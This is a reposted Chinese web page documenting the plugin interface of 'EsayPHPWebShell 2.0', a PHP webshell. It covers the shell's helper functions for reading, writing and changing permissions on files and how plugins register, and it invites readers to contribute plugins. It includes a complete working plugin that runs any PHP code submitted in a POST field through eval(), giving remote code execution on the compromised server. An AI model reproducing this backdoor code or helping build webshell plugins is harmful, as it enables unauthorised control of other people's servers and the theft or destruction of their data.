您的位置:首页 > 运维架构 > Shell

EsayPHPWebShell2.0插件接口文档

2006-03-20 20:28 288 查看
EsayPHPWebShell2.0插件接口文档:

注意,2.1之后的插件接口和2.0的有点不同.请想写插件的朋友务必看本文的"例子"部分(感谢mike兄提的建议).首先说这个接口方式是我自己想出来的,当然也许不会是我最先发明的方法.也不知道有没有更好的写插件模式的方法.如果你知道,可以告知.

首先要说一下EsayPHPWebShell2.0(以下简称EPS2)的组成:

文件头
|
系统类
|
插件区
|
界面
下面一一介绍各个部分:

文件头:

这里主要是做参数设置提交变量的处理和登陆处理,虽然我也留了可升级的部分,但是我觉得不需要就没有在系统类中预留这部分的升级代码.同样的,系统类和界面区也可以升级,我也没有留出代码.
系统类:

这是我把EPS2的全部基本功能都写到一个类(_sysin类)里面,这个类有比较多的函数.这里只介绍一些写插件的时候用得到的函数.

echoerror:似乎没什么作用,就是输出一个红字的系统提示.这个函数输出的值是在客户区输出,下面会介绍到一个_sysmsg变量,那个变量的值是在系统顶部的消息栏输出,具体用哪个,大家自己斟酌.

getfile:取得文件的数据,有四个参数,后面三个参数是不必须的,四个参数分别是文件名,读取模式(R,W,B等等,默认为r),文件指针定位(默认为0,即文件头),读取大小(默认为全部).

putfile:写入文件的函数,有5个参数,后面三个参数是不必须的,四个参数分别是文件名,写入内容,写入模式(默认为wb),文件指针定位(默认为0,即文件头),写入多少(默认为把传递过来的内容全部写入).

reloadself:重新加载本身的函数,一经调用,浏览器就会跳转.

getfilearri:获得文件属性的函数,返回是unix模式(如0777,0666),参数就一个,文件名.

setfilearri:设置文件属性的函数,参数有两个,文件名,属性(Unix模式).

bool2str:将bool值的参数传递过去,返回字符串'false'或者是'true'的函数.

trph:格式化路径的函数,比如将多个/合并为一个/,将/返回为/,将/结尾的/去掉,将/./等不规范的字符串转为/.

echotextarea:输出一个textarea,参数分别是textarea的name(控件名字),cols(控件宽度),rows(高度),class(控件样式,必须,无则留空),textarea的内容,其他一个自定义的参数(可省略,下同).

echofroms:建立一个表单函数,参数分别是FORM的:name(表单名称),method(提交方法,get还是post),action(提交到的URL),其他一个.该函数还有个echofrome兄弟函数是需要成对出现.也就是保证表单完整.

echoinput:建立一些其他表单元素的函数,参数分别是INPUT的:name(控件名字),TYPE(类型,是按钮还是单选还是其他),size(宽度),value(控件值,如果有的话),class(上同),其他一个.

系统类还有一些变量,我也列出有用的几个:

var $selfname;//shell文件本身的名字
var $selfpath;//shell文件本身所处的位置
var $referer;//点击过来的链接
var $_sysmsg;//系统消息,

最后这个系统消息需要说一下,这个$_sysmsg一开始为空,你在编写插件的时候可以填充这个变量,最后这个变量的内容将会显示在网页上方的系统消息栏里面,默认是红色显示,作为系统消息醒目.这个系统消息和echoerror函数的区别上面已经说过了.

插件区:

这个区就是插件添加后的具体位置了.也就是本文重点的地方,可以看到这里有这么一些代码:
<?//------------plugin-------------?>
<?//--plugintpl--?>
<?//------------plugin-------------?>
那插件到时候添加的位置就是在:
<?//------------plugin-------------?>
<?
echo "插件添加在这里";
?>
<?//--plugintpl--?>
<?//------------plugin-------------?>
多个插件的时候就是:
<?//------------plugin-------------?>
<?
echo "我是插件1";
?>
<?
echo "楼上的你好,我是插件2";
?>
<?//--plugintpl--?>
<?//------------plugin-------------?>
说这些其实大家不必关心插件该怎么写到这里,这些都是系统函数的工作,我说了这点的原因是大家开发插件的时候就可以直接在主脚本里面开发,方便于调试.
例子:
举例一个真实的插件作为例子,就是在线代码的那个插件:
<?
/*plugin:在线代码*/
$_sys->addplug("在线代码","phpexec","phpexecrun","脚本:ZV(zvrop@163.com)");
function phpexec(){
global $_sys;
$scX=$_sys->screenX-$_sys->screenleft;
if(isset($_POST["codes"])) {
eval($_POST["codes"]);
$file = htmlspecialchars($_POST["codes"]);
}
echo '<table width="100%" border="0" cellpadding="0" cellspacing="0" ><tr><td align="center" width="100%" bgcolor="#000000" class="stylebtext3">在线代码 1.0</td></tr><tr align="center"><td><br>'.
$_sys->echofroms("formupload","post","?action=phpexec")."粘贴需要执行的代码(PHP):<br>".
$_sys->echotextarea("codes",$scX/7.5,"30","style1",$file,"")."<br><br>".
$_sys->echoinput("upok","submit","50","  运行  ","style1")." ".
$_sys->echoinput("upnew","submit","50","干净运行","style1").
$_sys->echofrome().
'</td></tr></table>';
}
function phpexecrun(){
if(isset($_POST["upnew"])&&isset($_POST["codes"])){
eval($_POST["codes"]);
exit();
}
return;
}
/*pluginend:*/
?>
有一些格式肯定是固定的,比如必须是以这种形式的插件:
<?
/*plugin:这里填写该插件的名称*/
$_sys->addplug("插件名称","插件的主函数","第一时间运行函数","备注,其实这里可以写作者");
........[这里是内容]
/*pluginend:*/
?>
插件的名称就是显示在shell左边插件栏里面的名称,插件的主函数就是别人点击插件的时候,shell需要去调用的函数.第一时间运行的函数,是指在任何数据尚未输出到客户端浏览器的时候调用的这个函数,这一会儿还会说到.
到这里,我想先解释一下EPS的插件运行过程.

假设插件被用户添加到EPS里面了.并点击了这个插件(以下称"该插件").

运行EPS,EPS首先寻找所有的已经加载的插件,顺便登记这些插件的插件的主函数,这是根据$_sys->addplug("插件名称","插件的主函数","第一时间运行函数","备注,其实这里可以写作者");插件登记过的信息得出的.

首先运行该插件的第一时间运行函数.

输出整个程序框架

运行该插件的插件的主函数.

结束.

所以大家看到了,在运行某个插件的第一时间运行函数之前,整个程序已经执行到"界面"部分了,也就是系统类和插件区已经被加载过.
所以我强烈建议大家些插件的时候采用这种形式:
<?
/*plugin:name*/
$_sys->addplug("name","func","funcrun","作者:");
function func(){
...
function fun1(){}
...
function fun2(){}
...
class a{}
...
codes;
...
}
function funcrun(){

}
/*pluginend:*/
?>
也就是插件用函数封装起来,这样就可以避免一些代码在程序加载的时候被执行,不过如果你的程序需要有每次都抢先被执行的代码(包括在执行其他函数的时候),你写到外面也未尝不可.
如果你的代码必须点击插件的时候运行请用第一时间运行函数.具体可以参考上述的"在线代码的phpexecrun函数"这个函数作为例子.
特别注意:
因为你的插件是在全部代码还没有被执行完成的时候执行的,所以要考虑到其他代码和程序框架的完整性,一些类似exit,die的函数就尽量的不用.大家可以参考上面我强烈建议大家用的插件形式,就可以发现,如果是写在一个函数内部,exit完全可以用return函数来代替,至于die的作用,可以用上面介绍的系统类(_sysin类)中的echoerror函数输出提示,然后再return这种办法,虽然增加了代码量,但是保证了程序的完整.
如果你的代码是在第一时间运行函数内执行的,那大可不必考虑上一段所说的,因为这个时候框架什么事情都没有做,甚至连css和html都没有加载(这个时候自然也不能用系统的css了),只是加载了系统类,你可以尽情的用其他的函数,所有的环境都是由你自己控制.不过要注意,如果第一时间运行函数不是以exit结束的话,框架还将继续输出整个webshell的程序.
界面:

这里没什么好说的,需要用到javascript的时候,程序中有这句:
<BODY onload="if(typeof(init)=='function')init();">
可定义init函数方便加载.
其他:
到此为止,EPS的插件算是说的差不多了.应该不是太麻烦吧.

最后欢迎多多更多的人来帮我写插件功能.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: